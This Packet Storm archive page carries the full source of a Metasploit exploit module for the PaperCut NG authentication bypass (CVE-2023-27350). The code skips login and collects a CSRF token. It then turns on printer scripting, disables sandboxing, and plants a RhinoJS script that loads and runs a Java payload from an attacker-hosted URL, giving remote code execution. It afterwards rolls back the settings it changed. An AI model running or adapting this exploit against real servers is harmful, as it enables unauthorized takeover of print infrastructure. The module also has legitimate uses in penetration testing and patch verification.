what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PaperCut PaperCutNG Authentication Bypass

PaperCut PaperCutNG Authentication Bypass
Posted Jun 7, 2023
Authored by catatonicprime | Site metasploit.com

This Metasploit module leverages an authentication bypass in PaperCut NG. If necessary it updates Papercut configuration options, specifically the print-and-de vice.script.enabled and print.script.sandboxed options to allow for arbitrary code execution running in the builtin RhinoJS engine. This module logs at most 2 events in the application log of papercut. Each event is tied to modification of server settings.

tags | exploit, arbitrary, code execution
advisories | CVE-2023-27350
SHA-256 | f4313d7696bef22bdc9abcdfd185a2f5ec910ab23fce5708d4d336c70e7796cb

PaperCut PaperCutNG Authentication Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'cgi'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PaperCut PaperCutNG Authentication Bypass',
'Description' => %q{
This module leverages an authentication bypass in PaperCut NG. If necessary it
updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
and 'print.script.sandboxed' options to allow for arbitrary code execution running in
the builtin RhinoJS engine.

This module logs at most 2 events in the application log of papercut. Each event is tied
to modifcation of server settings.
},
'License' => MSF_LICENSE,
'Author' => ['catatonicprime'],
'References' => [
['CVE', '2023-27350'],
['ZDI', '23-233'],
['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],
['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],
['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],
['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [ [ 'Automatic Target', {}] ],
'Platform' => [ 'java' ],
'Arch' => ARCH_JAVA,
'Privileged' => true,
'DisclosureDate' => '2023-03-13',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => '9191',
'SSL' => 'false'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
], self.class
)
@csrf_token = nil
@config_cleanup = []
end

def bypass_auth
# Attempt to generate a session & recover the anti-csrf token for future requests.
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'service' => 'page/SetupCompleted'
}
}
)
return nil unless res && res.code == 200

vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")

# Parse the application version from the response for future decisions.
product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]
if product_details.nil?
product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')
end
version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')
@version_major = Integer(version_match[:major])
match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)
@csrf_token = match ? match[:csrf] : ''
end

def get_config_option(name)
# 1) do a quickfind (setting the tapestry state)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/ConfigEditor/quickFindForm',
'sp' => 'S0',
'Form0' => '$TextField,doQuickFind,clear',
'$TextField' => name,
'doQuickFind' => 'Go'
}
}
)
# 2) parse and return the result
return nil unless res && res.code == 200 && (html = res.get_html_document)
return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))
return nil unless td.count == 1 && td.text == name

value_input = html.xpath("//input[@name='$TextField$0']")
value_input[0]['value']
end

def set_config_option(name, value, rollback)
# set name:value pair(s)
current_value = get_config_option(name)
if current_value == value
vprint_good("Server option '#{name}' already set to '#{value}')")
return
end

vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/ConfigEditor/$Form',
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0',
'$TextField$0' => value,
'$Submit' => 'Update'
}
}
)
fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200
# skip storing the cleanup change if this is rolling back a previous change
@config_cleanup.push([name, current_value]) unless rollback
end

def cleanup
super
if @config_cleanup.nil?
return
end

until @config_cleanup.empty?
cfg = @config_cleanup.pop
vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")
set_config_option(cfg[0], cfg[1], true)
end
end

def primer
payload_uri = get_uri
script = <<~SCRIPT
var urls = [new java.net.URL("#{payload_uri}.jar")];
var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);
s;
SCRIPT

# The number of parameters passed changed in version 17.
form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'
if @version_major > 16
form0 += ',$Submit$1'
end
# 6) Trigger the code execution the printer_id
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_post' => {
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
'sp' => 'S0',
'Form0' => form0,
'enablePrintScript' => 'on',
'$Submit$1' => 'Apply',
'printerId' => 'l1001',
'scriptBody' => script
}
}
)
fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200
end

def check
# For the check command
bypass_success = bypass_auth
if bypass_success.nil?
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Vulnerable
end

def exploit
# Main function
# 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.
bypass_auth unless @csrf_token
if @csrf_token.nil?
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

# Sandboxing wasn't introduced until version 19
if @version_major >= 19
# 2) Enable scripts, if needed
set_config_option('print-and-device.script.enabled', 'Y', false)

# 3) Disable sandboxing, if needed
set_config_option('print.script.sandboxed', 'N', false)
end
# 5) Select the printer, this loads it into the tapestry session to be modified
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri
},
'vars_get' => {
'service' => 'direct/1/PrinterList/selectPrinter',
'sp' => 'l1001'
}
}
)
fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200

Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stop due to our timeout, this is raised
end

def on_request_uri(cli, request)
vprint_status("Sending payload for requested uri: #{request.uri}")
send_response(cli, payload.raw)
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close